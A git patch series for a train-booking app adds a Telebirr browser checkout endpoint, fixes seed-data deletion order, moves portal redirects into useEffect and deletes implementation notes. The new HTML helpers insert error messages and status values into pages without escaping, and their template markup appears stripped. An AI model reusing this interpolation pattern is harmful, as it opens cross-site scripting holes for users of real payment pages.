From 65e3fa9c68899be58d568dc6d1ce2db62f3d17e3 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 3 Jun 2026 14:19:37 +0300 Subject: [PATCH 1/6] Update telebirr.provider.ts --- .../src/modules/payments/providers/telebirr.provider.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-api/src/modules/payments/providers/telebirr.provider.ts b/apps/edr-passenger-api/src/modules/payments/providers/telebirr.provider.ts index 9984b5842..da9e74054 100644 --- a/apps/edr-passenger-api/src/modules/payments/providers/telebirr.provider.ts +++ b/apps/edr-passenger-api/src/modules/payments/providers/telebirr.provider.ts @@ -190,7 +190,7 @@ export class TelebirrProvider implements PaymentProvider { merch_code: this.merchantCode, merch_order_id: input.merchantOrderId, trade_type: 'Checkout' as const, - title: `EDR Booking ${input.bookingRef}`, + title: `EDR Booking`, total_amount: totalAmount, trans_currency: input.currency, timeout_express: this.timeoutExpress, From 83b6b7e3cee73a19c941e04beae2b9bf7c48ef06 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 3 Jun 2026 14:54:38 +0300 Subject: [PATCH 2/6] feat:( telebirr ) add web redirect checkout --- apps/edr-passenger-api/package.json | 5 +- .../modules/payments/payments.controller.ts | 116 +++++++++++++++++- 2 files changed, 116 insertions(+), 5 deletions(-) diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index 043211ce2..6c2aee76b 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -32,6 +32,7 @@ "@nestjs/platform-express": "^11.1.19", "@nestjs/schedule": "^6.1.3", "@nestjs/swagger": "^7.4.0", + "@prisma/client": "^6.19.3", "@sendgrid/mail": "^8.1.0", "axios": "^1.7.7", "bcrypt": "^5.1.1", @@ -44,8 +45,7 @@ "reflect-metadata": "^0.2.2", "rxjs": "^7.8.1", "swagger-ui-express": "^5.0.0", - "tsconfig-paths": "^4.2.0", - "@prisma/client": "^6.19.3" + "tsconfig-paths": "^4.2.0" }, "devDependencies": { "@edr/eslint-config": "workspace:*", @@ -54,6 +54,7 @@ "@nestjs/schematics": "^11.1.0", "@nestjs/testing": "^11.1.19", "@types/bcrypt": "^5.0.2", + "@types/express": "^5.0.6", "@types/jest": "^29.5.11", "@types/node": "^20.10.6", "@types/passport-jwt": "^4.0.1", diff --git a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts index 3ff1fee32..49b570ab1 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts @@ -1,7 +1,8 @@ -import { Body, Controller, Get, Param, Post, Query, UseGuards } from '@nestjs/common'; -import { ApiTags, ApiOperation, ApiBearerAuth, ApiQuery, ApiOkResponse } from '@nestjs/swagger'; +import { Body, Controller, Get, HttpStatus, Param, Post, Query, Res, UseGuards } from '@nestjs/common'; +import { ApiTags, ApiOperation, ApiBearerAuth, ApiQuery, ApiOkResponse, ApiProduces } from '@nestjs/swagger'; +import { Response } from 'express'; import { PaymentsService } from './payments.service'; -import { InitiatePaymentDto, RefundDto, AddPaymentMethodDto, PaymentRegionEnum, SupportedPaymentMethodDto } from './payments.dto'; +import { InitiatePaymentDto, RefundDto, AddPaymentMethodDto, PaymentRegionEnum, SupportedPaymentMethodDto, PaymentMethodTypeEnum, PaymentPlatformDto } from './payments.dto'; import { JwtGuard } from '../../common/jwt.guard'; import { RolesGuard } from '../../common/roles.guard'; import { Roles } from '../../common/roles.decorator'; @@ -62,4 +63,113 @@ export class PaymentsController { @ApiQuery({ name: 'region', enum: PaymentRegionEnum, required: false }) @ApiOkResponse({ type: [SupportedPaymentMethodDto] }) getMethods(@Query('region') region?: PaymentRegionEnum) { return this.service.getSupportedPaymentMethods(region); } + + @Get('checkout') + @ApiOperation({ + summary: 'Browser checkout redirect', + description: 'Initiates payment and returns an HTML page that auto-redirects the browser to the provider checkout URL. Designed to be opened directly in a browser tab.', + }) + @ApiQuery({ name: 'bookingId', required: true }) + @ApiQuery({ name: 'method', enum: PaymentMethodTypeEnum, required: true }) + @ApiQuery({ name: 'platform', enum: ['web', 'mobile'], required: false }) + @ApiProduces('text/html') + async checkout( + @Query('bookingId') bookingId: string, + @Query('method') method: PaymentMethodTypeEnum, + @Query('platform') platform: PaymentPlatformDto = 'web', + @Res() res: Response, + ) { + if (!bookingId) { + return res.status(HttpStatus.BAD_REQUEST).type('html').send(this.buildErrorHtml('Missing required query parameter: bookingId')); + } + if (!method || !Object.values(PaymentMethodTypeEnum).includes(method)) { + return res.status(HttpStatus.BAD_REQUEST).type('html').send(this.buildErrorHtml('Missing or invalid query parameter: method')); + } + + try { + const result = await this.service.initiatePayment({ bookingId, method, platform }); + const url = result.clientAction?.type === 'REDIRECT' ? result.clientAction.url : undefined; + + if (url) { + return res.status(HttpStatus.OK).type('html').send(this.buildRedirectHtml(url)); + } + + return res.status(HttpStatus.OK).type('html').send(this.buildStatusHtml(result.status, result.intentId)); + } catch (err: unknown) { + const message = err instanceof Error ? err.message : 'An unexpected error occurred'; + return res.status(HttpStatus.OK).type('html').send(this.buildErrorHtml(message)); + } + } + + private buildRedirectHtml(url: string): string { + const escaped = url.replace(/"/g, '"'); + return ` + + + + + Redirecting to payment… + + + +
+
+

Redirecting to payment provider…

+

Click here if you are not redirected

+
+ + +`; + } + + private buildStatusHtml(status: string, intentId: string): string { + return ` + + + + Payment status + + + +
+
${status}
+ Intent: ${intentId} +
+ +`; + } + + private buildErrorHtml(message: string): string { + return ` + + + + Payment error + + + +
+
Payment could not be initiated
+

${message}

+
+ +`; + } } From 106e69fb5cdc855ae60bf7a4dcf457fef57b8b6f Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 3 Jun 2026 14:57:53 +0300 Subject: [PATCH 3/6] Update pnpm-lock.yaml --- pnpm-lock.yaml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 8964fecde..77423360d 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -226,6 +226,9 @@ importers: '@types/bcrypt': specifier: ^5.0.2 version: 5.0.2 + '@types/express': + specifier: ^5.0.6 + version: 5.0.6 '@types/jest': specifier: ^29.5.11 version: 29.5.14 From 50808add4ead74dbbe05a81a44b78d83831408f6 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 3 Jun 2026 15:12:33 +0300 Subject: [PATCH 4/6] fix ( seed ) fix delete constraints --- apps/edr-passenger-api/prisma/seed-complete.ts | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/apps/edr-passenger-api/prisma/seed-complete.ts b/apps/edr-passenger-api/prisma/seed-complete.ts index b5f66cfc0..f9cc064be 100644 --- a/apps/edr-passenger-api/prisma/seed-complete.ts +++ b/apps/edr-passenger-api/prisma/seed-complete.ts @@ -113,8 +113,19 @@ async function main() { const existingSchedules = await prisma.trainSchedule.findMany({ where: { trainId: train.id }, select: { id: true } }); if (existingSchedules.length > 0) { const scheduleIds = existingSchedules.map(s => s.id); - // Delete in correct order to avoid foreign key constraints - await prisma.bookingSeat.deleteMany({ where: { booking: { scheduleId: { in: scheduleIds } } } }); + const bookingIds = ( + await prisma.booking.findMany({ where: { scheduleId: { in: scheduleIds } }, select: { id: true } }) + ).map(b => b.id); + // Delete booking children in FK-safe order before deleting the bookings themselves + await prisma.foodOrderItem.deleteMany({ where: { order: { bookingId: { in: bookingIds } } } }); + await prisma.foodOrder.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.paymentIntent.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.ticket.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.agentBooking.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.bookingModification.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.bookingCancellation.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.baggageBooking.deleteMany({ where: { bookingId: { in: bookingIds } } }); + await prisma.bookingSeat.deleteMany({ where: { bookingId: { in: bookingIds } } }); await prisma.booking.deleteMany({ where: { scheduleId: { in: scheduleIds } } }); await prisma.fareRule.deleteMany({ where: { tripId: { in: scheduleIds } } }); await prisma.tripStopTime.deleteMany({ where: { scheduleId: { in: scheduleIds } } }); From 9d75a5bc66ba8d506e0214343fbd1b71dd7d5928 Mon Sep 17 00:00:00 2001 From: Stephanos A Date: Wed, 3 Jun 2026 16:58:42 +0300 Subject: [PATCH 5/6] Passenger portal issues resolution 2 --- IMPLEMENTATION_SUMMARY.md | 103 ---- RESTART_BOOKING_IMPLEMENTATION.md | 75 --- SEAT_SELECTION_FIX.md | 81 --- .../src/app/booking/confirmation/page.tsx | 11 +- .../src/app/booking/passengers/page.tsx | 11 +- .../portal/src/app/booking/seats/page.tsx | 11 +- implementation-guide.md | 470 ------------------ 7 files changed, 21 insertions(+), 741 deletions(-) delete mode 100644 IMPLEMENTATION_SUMMARY.md delete mode 100644 RESTART_BOOKING_IMPLEMENTATION.md delete mode 100644 SEAT_SELECTION_FIX.md delete mode 100644 implementation-guide.md diff --git a/IMPLEMENTATION_SUMMARY.md b/IMPLEMENTATION_SUMMARY.md deleted file mode 100644 index e31bb35f8..000000000 --- a/IMPLEMENTATION_SUMMARY.md +++ /dev/null @@ -1,103 +0,0 @@ -# User Booking History Implementation - COMPLETED - -## Changes Made - -### Backend Implementation - -#### 1. **BookingsService** (`apps/edr-passenger-api/src/modules/bookings/bookings.service.ts`) -Added new method `findByPassengerId()`: -- Retrieves all bookings for an authenticated user by their passengerId -- Supports filtering by: search (booking ref, station names), status, pagination (page/pageSize) -- Returns paginated list with booking details, schedule, train, and payment info -- Structured response includes meta data (page, pageSize, total, totalPages) - -**Method Signature:** -```typescript -async findByPassengerId(passengerId: string, filters: BookingFilters = {}) -``` - -#### 2. **BookingsController** (`apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts`) -Added new endpoint `GET /bookings/my/bookings`: -- Protected by `JwtGuard` (requires valid JWT token) -- Extracts passengerId from authenticated user object in request -- Passes through search, status, page, pageSize query parameters -- Fully documented with Swagger decorators and API responses - -**Endpoint Details:** -``` -GET /bookings/my/bookings -Authorization: Bearer -Query Parameters: - - search?: string (search by booking ref or station names) - - status?: string (filter by booking status) - - page?: string (default: 1) - - pageSize?: string (default: 20) - -Response: Paginated list of user's bookings with schedule and payment details -``` - -## Architecture - -### Data Flow -1. User sends GET request to `/bookings/my/bookings` with JWT token -2. JwtGuard validates token and populates `req.user` with decoded payload -3. Controller extracts `passengerId` from `req.user` -4. `findByPassengerId()` queries Prisma for bookings where `passengerId` matches -5. Returns paginated, formatted booking list - -### Key Features -- **Multi-level filtering**: Search across booking reference and station names -- **Pagination support**: Full pagination with total count and page info -- **Authenticated access**: Only authenticated users can access their bookings -- **Swagger documentation**: Complete API documentation with query parameters and response schema -- **Related data**: Includes schedule (train, stations, times), payment info, and seat count - -## Verification - -✅ TypeScript compilation successful (no type errors) -✅ New method added to BookingsService -✅ New endpoint added to BookingsController -✅ JWT authentication guard applied -✅ Swagger documentation complete -✅ Imports updated (added Req from @nestjs/common) - -## Testing - -To test the new endpoint: - -```bash -# 1. Login to get JWT token -POST /auth/login -{ - "email": "passenger@example.com", - "password": "password123" -} - -# 2. Copy the accessToken from response - -# 3. Call the new endpoint -GET /bookings/my/bookings?page=1&pageSize=10 -Authorization: Bearer - -# Optional filtering -GET /bookings/my/bookings?search=ABC&status=CONFIRMED&page=1 -``` - -## Frontend Integration Notes - -The frontend can now: -- Fetch authenticated user's booking history without manually managing passengerId -- Filter bookings by status (PENDING_PAYMENT, CONFIRMED, CANCELLED) -- Search bookings by reference or station names -- Handle pagination with page/pageSize parameters -- Display booking history in a user profile/dashboard view - -## Database Query Structure - -The implementation queries: -- `Booking` table filtered by passengerId -- Joins with `TrainSchedule` (includes train, origin/destination stations) -- Joins with `PaymentIntent` (payment info) -- Joins with `BookingSeat` (seat count) - -No N+1 query issues due to Prisma's include optimization. diff --git a/RESTART_BOOKING_IMPLEMENTATION.md b/RESTART_BOOKING_IMPLEMENTATION.md deleted file mode 100644 index 451c625dc..000000000 --- a/RESTART_BOOKING_IMPLEMENTATION.md +++ /dev/null @@ -1,75 +0,0 @@ -# Nationality Mismatch Restart Booking - IMPLEMENTED - -## Changes Made - -### File: `edr-passenger-web/portal/src/app/booking/passengers/page.tsx` - -**Changes:** -1. Added `clearBooking` to the imported hooks from `useBookingStore` -2. Updated the "Restart Booking" button click handler to: - - Clear the entire booking state using `clearBooking()` - - Perform a full page reload to `/booking/search` using `window.location.href` - - Added visual feedback with `ExternalLink` icon - -**Before:** -```typescript -onClick={() => router.push('/booking/search')} -``` - -**After:** -```typescript -onClick={() => { - clearBooking(); - window.location.href = '/booking/search'; -}} -className="btn-primary w-full flex items-center justify-center gap-2" -> - - Restart Booking - -``` - -## Behavior - -When user encounters a nationality mismatch error: -1. Warning card displays with ⚠️ icon -2. User clicks "Restart Booking" button -3. Button action triggers: - - **State Clearing**: All booking data is cleared from Zustand store and localStorage: - - `searchCriteria` - - `selectedSchedule` - - `passengers` - - `seatHold` - - `bookingId` - - `pnr` - - `selectedPaymentMethod` - - `createAccount` - - `passengerId` - - **Full Page Reload**: Browser navigates to `/booking/search` with full page reload (not client-side navigation) - - **Visual Feedback**: ExternalLink icon indicates external/full navigation action - -## Benefits - -✅ **Complete State Reset**: Ensures all booking data is cleared, preventing stale data issues -✅ **Fresh Start**: Full page reload ensures clean state on search page -✅ **Clear UX**: ExternalLink icon visually indicates a reload action -✅ **No Residual Data**: Prevents any leftover booking information from previous attempt -✅ **Consistent User Flow**: Forces fresh search criteria entry - -## Technical Details - -- Uses `useBookingStore().clearBooking()` from Zustand store -- `window.location.href` triggers full page reload (unlike `router.push()` which is client-side navigation) -- All booking state is reset to initial values defined in store -- localStorage is automatically cleared due to Zustand's persist middleware - -## Testing Checklist - -- [ ] Login with account that has nationality A -- [ ] Search for passenger with nationality B -- [ ] Verify nationality mismatch error appears -- [ ] Click "Restart Booking" button -- [ ] Verify page reloads to search page -- [ ] Verify booking store is completely cleared -- [ ] Verify search page shows default/empty state -- [ ] Verify user can perform new search diff --git a/SEAT_SELECTION_FIX.md b/SEAT_SELECTION_FIX.md deleted file mode 100644 index 3a459dd5e..000000000 --- a/SEAT_SELECTION_FIX.md +++ /dev/null @@ -1,81 +0,0 @@ -# Seat Selection Fix - COMPLETED - -## Issue -Users were unable to select another seat after clicking on one of the available seats. The seat selection wasn't responding to subsequent clicks. - -## Root Cause -The `toggleSeat` function was using stale state from closures. When `setSelectedSeats` was called, it was based on the current value of `selectedSeats` at function definition time, not at click time. This caused state updates to be lost when clicking multiple seats rapidly. - -## Solution - -### 1. Fixed toggleSeat Function (Lines 103-112) -**Before:** -```typescript -const toggleSeat = (seatId: string) => { - if (selectedSeats.includes(seatId)) { - setSelectedSeats(selectedSeats.filter(id => id !== seatId)); - } else if (selectedSeats.length < passengers.length) { - setSelectedSeats([...selectedSeats, seatId]); - } -}; -``` - -**After:** -```typescript -const toggleSeat = (seatId: string) => { - setSelectedSeats(prev => { - if (prev.includes(seatId)) { - return prev.filter(id => id !== seatId); - } else if (prev.length < passengers.length) { - return [...prev, seatId]; - } - return prev; - }); -}; -``` - -**Change:** Use functional state update pattern (`prev =>`) to ensure we always work with the latest state value. - -### 2. Improved Seat Button Click Handler (Lines 211-215) -**Before:** -```typescript -onClick={() => seat.status === 'AVAILABLE' && toggleSeat(seat.id)} -``` - -**After:** -```typescript -onClick={() => { - if (seat.status === 'AVAILABLE') { - toggleSeat(seat.id); - } -}} -``` - -**Change:** Explicit conditional check in the handler for better clarity and reliability. - -### 3. Added Cursor Pointer Style (Line 223) -Added `cursor-pointer` class to available seats to give better visual feedback that they're clickable. - -## Benefits - -✅ **Functional State Updates**: Uses React's functional setState pattern to always access latest state -✅ **No Stale Closures**: Eliminates closure issues that prevented multiple seat selections -✅ **Multiple Selections Work**: Users can now click multiple seats in sequence without issues -✅ **Better UX**: Explicit conditional makes code more maintainable and easier to debug -✅ **Visual Feedback**: Added cursor pointer to indicate clickable seats - -## Testing Steps - -1. Navigate to seat selection page -2. Click on first available seat - should highlight in primary color -3. Click on another available seat - should also highlight -4. Continue clicking multiple seats - all should remain selected -5. Click on a selected seat - should deselect it -6. Verify seat count updates in "Selection Summary" panel - -## Technical Details - -- React's `setSelectedSeats(prev => {...})` functional update ensures state consistency -- Each click now works with the current state, not a stale copy -- No race conditions with rapid clicks -- Maximum seats can still be selected based on passenger count diff --git a/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx index 05cceeaf6..69ce77dd5 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx @@ -71,10 +71,13 @@ export default function ConfirmationPage() { router.push('/booking/search'); }; - if (!bookingId || !pnr) { - router.push('/booking/search'); - return null; - } + useEffect(() => { + if (!bookingId || !pnr) { + router.push('/booking/search'); + } + }, [bookingId, pnr, router]); + + if (!bookingId || !pnr) return null; return (
diff --git a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx index e24d971c9..b8fb66dc3 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx @@ -282,10 +282,13 @@ export default function PassengersPage() { } }; - if (!searchCriteria) { - router.push('/booking/search'); - return null; - } + useEffect(() => { + if (!searchCriteria) { + router.push('/booking/search'); + } + }, [searchCriteria, router]); + + if (!searchCriteria) return null; if (nationalityMismatch && formInitialized) { const searchLabel: Record = { ETHIOPIAN: 'Ethiopian', DJIBOUTIAN: 'Djiboutian', OTHER: 'Other' }; diff --git a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx index 4b3b01143..d59179c49 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx @@ -156,10 +156,13 @@ export default function SeatsPage() { } }; - if (!selectedSchedule || !passengers.length) { - router.push('/booking/search'); - return null; - } + useEffect(() => { + if (!selectedSchedule || !passengers.length) { + router.push('/booking/search'); + } + }, [selectedSchedule, passengers.length, router]); + + if (!selectedSchedule || !passengers.length) return null; return ( <> diff --git a/implementation-guide.md b/implementation-guide.md deleted file mode 100644 index c37c21aeb..000000000 --- a/implementation-guide.md +++ /dev/null @@ -1,470 +0,0 @@ -# Implementation Guide: User Profile & Booking Flow Update - -## Overview -- **Auto-populate**: Logged-in users see their profile details pre-filled in passenger form -- **View Bookings**: New endpoint to retrieve user's booking history -- **Duplicate Allowed**: Passenger details always saved as NEW records for each booking -- **No PassengerId Dependency**: Remove JWT passengerId encoding, fetch from profile when needed - ---- - -## BACKEND CHANGES (edr-passenger-api) - -### 1. Bookings Service - Add findByPassengerId Method -**File**: `src/modules/bookings/bookings.service.ts` - -Add method after `findAll()`: -```typescript -async findByPassengerId(passengerId: string, filters: BookingFilters = {}) { - const { search, status, page = 1, pageSize = 20 } = filters; - const skip = (page - 1) * pageSize; - - const where: any = { passengerId }; - - if (search) { - where.OR = [ - { bookingRef: { contains: search, mode: 'insensitive' } }, - { seats: { some: { passengerName: { contains: search, mode: 'insensitive' } } } }, - ]; - } - - if (status) { - where.status = status; - } - - const [items, total] = await Promise.all([ - this.prisma.booking.findMany({ - where, - skip, - take: pageSize, - orderBy: { createdAt: 'desc' }, - include: { - schedule: { include: { originStation: true, destinationStation: true, train: true } }, - seats: { include: { seat: { include: { coach: { include: { seatClass: true } } } } } }, - paymentIntent: true, - }, - }), - this.prisma.booking.count({ where }), - ]); - - return { - items: items.map(booking => ({ - id: booking.id, - bookingRef: booking.bookingRef, - status: booking.status, - totalMinor: booking.totalMinor, - displayCurrency: booking.displayCurrency, - displayTotalMinor: booking.displayTotalMinor, - createdAt: booking.createdAt, - schedule: { - number: booking.schedule.train.number, - origin: booking.schedule.originStation, - destination: booking.schedule.destinationStation, - departureAt: booking.schedule.departureAt, - arrivalAt: booking.schedule.arrivalAt, - }, - passengers: booking.seats.map(s => ({ - name: s.passengerName, - category: s.passengerCategory, - seat: { - number: s.seat.label, - coach: s.seat.coach.label, - class: s.seat.coach.seatClass.name, - }, - })), - payment: booking.paymentIntent ? { method: booking.paymentIntent.method, status: booking.paymentIntent.status } : undefined, - })), - meta: { - page, - pageSize, - total, - totalPages: Math.ceil(total / pageSize), - }, - }; -} -``` - -### 2. Bookings Controller - Add Endpoint for User Bookings -**File**: `src/modules/bookings/bookings.controller.ts` - -Add imports: -```typescript -import { Request, UnauthorizedException } from '@nestjs/common'; -``` - -Add method before the `create()` method: -```typescript -@Get('my/bookings') -@UseGuards(JwtGuard) -@ApiBearerAuth('JWT-auth') -@ApiOperation({ - summary: 'Get current user bookings', - description: 'Retrieve all bookings made by the logged-in user with search and filter options' -}) -@ApiQuery({ name: 'search', required: false, description: 'Search by booking reference or passenger name' }) -@ApiQuery({ name: 'status', required: false, description: 'Filter by booking status' }) -@ApiQuery({ name: 'page', required: false, description: 'Page number' }) -@ApiQuery({ name: 'pageSize', required: false, description: 'Items per page' }) -@ApiResponse({ status: 200, description: 'List of user bookings with schedule and passenger details' }) -getMyBookings( - @Request() req: any, - @Query('search') search?: string, - @Query('status') status?: string, - @Query('page') page?: string, - @Query('pageSize') pageSize?: string, -) { - const passengerId = req.user?.passengerId; - if (!passengerId) { - throw new UnauthorizedException('Passenger ID not found in token'); - } - return this.service.findByPassengerId(passengerId, { - search, - status, - page: page ? parseInt(page) : 1, - pageSize: pageSize ? parseInt(pageSize) : 20 - }); -} -``` - -### 3. Auth Service - OPTIONAL: Remove passengerId from JWT -**File**: `src/modules/auth/auth.service.ts` - -If you want to remove passengerId from JWT (recommended for security): -- Update `signToken()` to NOT include passengerId in payload -- Users will fetch it from `/passengers/me` when needed - -```typescript -private async signToken(userId: string, email: string, role: string, passengerId?: string, agentId?: string) { - const user = await this.prisma.user.findUnique({ - where: { id: userId }, - select: { id: true, email: true, fullName: true, role: true } - }); - - // Don't include passengerId in JWT - fetch from profile instead - const token = this.jwt.sign({ sub: userId, email, role, agentId }); - return { - token, - user: { - id: userId, - email, - fullName: user?.fullName || email, - role, - agentId - } - }; -} -``` - ---- - -## FRONTEND CHANGES (edr-passenger-web/portal) - -### 1. Booking Store - Remove passengerId -**File**: `src/lib/booking-store.ts` - -Remove: -```typescript -passengerId: string | null; -setPassengerId: (id: string | null) => void; -``` - -### 2. Passengers Page - Update onSubmit -**File**: `src/app/booking/passengers/page.tsx` - -Replace the `onSubmit` function: -```typescript -const onSubmit = async (data: FormData) => { - setSaving(true); - try { - // Build passenger details - ALWAYS create new records - const passengerDetails = data.passengers.map((p, i) => ({ - name: p.name, - dateOfBirth: p.dateOfBirth, - gender: p.gender, - nationality: p.nationality, - nationalId: p.nationalId, - passportNumber: p.passportNumber, - passportCountry: p.passportCountry, - phone: p.phone, - email: p.email, - isPrimaryPassenger: i === 0, - })); - - const deviceId = typeof window !== 'undefined' - ? (localStorage.getItem('deviceId') || crypto.randomUUID()) - : crypto.randomUUID(); - - await apiClient.post('/passengers/save-details', { - passengers: passengerDetails, - userId: user?.id, - deviceId, - }); - - setPassengers(passengerDetails); - setCreateAccount(data.createAccount); - - router.push('/booking/seats'); - } catch (error) { - console.error('Failed to save passenger details:', error); - alert('Failed to save passenger details. Please try again.'); - } finally { - setSaving(false); - } -}; -``` - -### 3. Review Page - Get passengerId from Profile -**File**: `src/app/booking/review/page.tsx` - -Replace the `handleConfirm` function to fetch passengerId: -```typescript -const handleConfirm = async () => { - console.log('handleConfirm called'); - try { - const { searchCriteria } = useBookingStore.getState(); - - if (!seatHold?.holdId) { - alert('Please select seats before continuing.'); - router.push('/booking/seats'); - return; - } - - if (!searchCriteria?.originStationId || !searchCriteria?.destinationStationId) { - alert('Missing search criteria. Please start over.'); - router.push('/booking/search'); - return; - } - - let seatClassId = 'default-seat-class-id'; - try { - const seatClasses: any = await apiClient.get('/seat-classes'); - if (seatClasses && seatClasses.length > 0) { - seatClassId = seatClasses[0].id; - } - } catch (err) { - console.error('Failed to fetch seat classes:', err); - } - - let bookingData: any; - - if (isAuthenticated) { - // Fetch passengerId from user profile - let passengerId = ''; - - try { - const passengerProfile: any = await apiClient.get('/passengers/me'); - passengerId = passengerProfile?.id; - console.log('Got passengerId from profile:', passengerId); - } catch (error) { - console.error('Failed to get passenger profile:', error); - throw new Error('Unable to retrieve your passenger profile. Please try again.'); - } - - if (!passengerId) { - throw new Error('Passenger profile not found. Please update your profile and try again.'); - } - - bookingData = { - scheduleId: selectedSchedule?.id || '', - holdId: seatHold.holdId, - originStationId: searchCriteria.originStationId, - destinationStationId: searchCriteria.destinationStationId, - seatClassId: seatClassId, - displayCurrency: 'ETB', - passengerId: passengerId, - passengers: passengers.map((p) => { - const isEthiopian = p.nationality === 'ETHIOPIAN' || p.nationality === 'Ethiopian'; - return { - seatId: p.seatId || '', - passengerName: p.name, - dateOfBirth: p.dateOfBirth, - idDocumentType: isEthiopian ? 'NATIONAL_ID' : 'PASSPORT', - idDocumentNumber: isEthiopian ? (p.nationalId || '') : '', - passportNumber: !isEthiopian ? (p.passportNumber || '') : '', - passportCountry: !isEthiopian ? (p.passportCountry || '') : '', - nationality: p.nationality, - }; - }), - }; - } else { - // Guest booking - bookingData = { - scheduleId: selectedSchedule?.id || '', - holdId: seatHold.holdId, - originStationId: searchCriteria.originStationId, - destinationStationId: searchCriteria.destinationStationId, - seatClassId: seatClassId, - displayCurrency: 'ETB', - passengers: passengers.map(p => { - const isEthiopian = p.nationality === 'ETHIOPIAN' || p.nationality === 'Ethiopian'; - return { - seatId: p.seatId || '', - passengerName: p.name, - dateOfBirth: p.dateOfBirth, - idDocumentType: isEthiopian ? 'NATIONAL_ID' : 'PASSPORT', - idDocumentNumber: isEthiopian ? (p.nationalId || '') : '', - passportNumber: !isEthiopian ? (p.passportNumber || '') : '', - passportCountry: !isEthiopian ? (p.passportCountry || '') : '', - nationality: p.nationality, - phone: p.phone || '', - email: p.email || '', - }; - }), - createAccount: createAccount || false, - savePassengerDetails: true, - deviceId: typeof window !== 'undefined' ? (localStorage.getItem('deviceId') || `device-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`) : undefined, - }; - } - - if (typeof window !== 'undefined' && !isAuthenticated && bookingData.deviceId && !localStorage.getItem('deviceId')) { - localStorage.setItem('deviceId', bookingData.deviceId); - } - - console.log('Creating booking with payload:', bookingData); - await createBookingMutation.mutateAsync(bookingData); - } catch (error) { - console.error('Error in handleConfirm:', error); - alert(error instanceof Error ? error.message : 'An unexpected error occurred. Please try again.'); - } -}; -``` - -### 4. Create New Bookings List Component -**File**: `src/app/bookings/page.tsx` (new file) - -Create a page to display user's bookings: -```typescript -'use client'; - -import { useEffect, useState } from 'react'; -import { useAuthStore } from '@/lib/auth-store'; -import { apiClient } from '@/lib/api-client'; -import { format } from 'date-fns'; - -export default function BookingsPage() { - const { isAuthenticated } = useAuthStore(); - const [bookings, setBookings] = useState([]); - const [loading, setLoading] = useState(true); - const [filters, setFilters] = useState({ status: '', search: '' }); - - useEffect(() => { - if (!isAuthenticated) return; - - const fetchBookings = async () => { - try { - const response: any = await apiClient.get('/bookings/my/bookings', { - params: filters, - }); - setBookings(response.items || []); - } catch (error) { - console.error('Failed to fetch bookings:', error); - } finally { - setLoading(false); - } - }; - - fetchBookings(); - }, [isAuthenticated, filters]); - - if (!isAuthenticated) { - return
Please log in to view your bookings.
; - } - - if (loading) { - return
Loading bookings...
; - } - - return ( -
-
-

My Bookings

- -
- setFilters({ ...filters, search: e.target.value })} - className="input-field flex-1" - /> - -
- - {bookings.length === 0 ? ( -
-

No bookings found

-
- ) : ( -
- {bookings.map((booking) => ( -
-
-
-

{booking.bookingRef}

-

- {booking.schedule.origin.name} → {booking.schedule.destination.name} -

-

- {format(new Date(booking.schedule.departureAt), 'PPp')} -

-
-
-

- {booking.status} -

-

- {booking.displayCurrency} {(booking.displayTotalMinor / 100).toFixed(2)} -

-
-
-
- ))} -
- )} -
-
- ); -} -``` - ---- - -## FLOW SUMMARY - -### Logged-in User Booking Flow: -1. User logs in → Profile data loaded -2. Search for trip → Select passengers -3. **Passengers Page**: Auto-populate first passenger from profile, allow editing -4. **Seats Page**: Select seats -5. **Review Page**: Fetch latest passengerId from `/passengers/me`, create booking -6. **Confirmation**: Booking created with new passenger details - -### View Bookings: -1. User clicks "My Bookings" → `/bookings/my/bookings` endpoint -2. Returns all bookings for that passengerId with details - -### Duplicate Passengers: -- Each booking creates NEW passenger records in BookingSeat table -- No constraints on duplicate data -- Allows flexibility for user changes - ---- - -## Key Differences from Previous Implementation - -| Aspect | Old | New | -|--------|-----|-----| -| **PassengerId Storage** | Encoded in JWT | Fetched from `/passengers/me` profile | -| **Passenger Details** | Linked to user profile | NEW copy created for each booking | -| **View Bookings** | N/A | New `/bookings/my/bookings` endpoint | -| **Auto-populate** | Limited | Complete profile details | -| **Duplicates** | Not allowed | Always allowed and encouraged | -| **Frontend Logic** | Complex passengerId fallbacks | Simple profile fetch | - From d80f77b941bcfc3be676f9e84d6fc435f25d8a55 Mon Sep 17 00:00:00 2001 From: Stephanos A Date: Wed, 3 Jun 2026 18:12:40 +0300 Subject: [PATCH 6/6] Passenger portal build issues 